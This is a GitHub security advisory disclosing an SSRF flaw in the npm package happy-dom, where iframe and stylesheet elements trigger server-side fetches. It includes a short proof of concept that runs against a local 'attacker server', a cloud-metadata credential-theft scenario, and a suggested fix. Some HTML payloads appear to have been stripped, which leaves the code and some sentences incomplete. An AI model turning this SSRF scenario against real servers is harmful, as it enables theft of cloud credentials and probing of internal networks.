GitHub Advisoryadvisory · npm

GHSA-c8p4-j97h-3vg8 Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML

HIGH Published 2026-10-28 Modified 2026-10-28 Official page ↗
Aliases
CVE-2026-118660
Ecosystem
npm
Packages
happy-dom
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Weaknesses
CWE-918
Reviewed
2026-10-28

Affected packages

• npm happy-dom: < 21.0.0 → fixed in 21.0.0

Description

Summary happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing `` or `` elements. This behavior is enabled by default (`disableIframePageLoading: false`, `disableCSSFileLoading: false`). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements. Affected Versions • happy-dom ` stylesheets fetch their `href` URL via real HTTP requests When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed. Proof of Concept Verified test (attacker server receives requests): ```javascript const http = require('http'); const { Window } = require('happy-dom'); // Start attacker server const srv = http.createServer((req, res) => { console.log(`SSRF HIT: ${req.method} ${req.url}`); res.writeHead(200, {'Content-Type': 'text/html'}); res.end('stolen'); }); srv.listen(9995, () => { // iframe SSRF — happy-dom makes a real GET request const win1 = new Window({ url: 'http://localhost' }); win1.document.write(''); // stylesheet SSRF — happy-dom makes a real GET request const win2 = new Window({ url: 'http://localhost' }); win2.document.write(''); }); ``` Test output: ``` SSRF HIT: GET /iframe-ssrf SSRF HIT: GET /stylesheet-ssrf ``` Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS. Cloud metadata attack scenario: ```javascript const { Window } = require('happy-dom'); const win = new Window({ url: 'http://localhost' }); // Attacker-controlled HTML triggers fetch to AWS metadata endpoint win.document.write(''); ``` Impact • Cloud credential theft — `` fetches AWS/GCP/Azure metadata • Internal network scanning — probe internal services and ports • Data exfiltration — read responses from internal APIs • Affects any server-side use case — web scraping, email HTML rendering, SSR, testing with external HTML input Suggested Fix Change defaults to disable external resource loading: ```javascript disableIframePageLoading: true, // change from false disableCSSFileLoading: true, // change from false ``` Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching.

Related

Alias · CVE (1)

  • CVE-2026-118660 Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. vulnerability

Weakness · CWE (1)

  • CWE-918 Server-Side Request Forgery weakness

References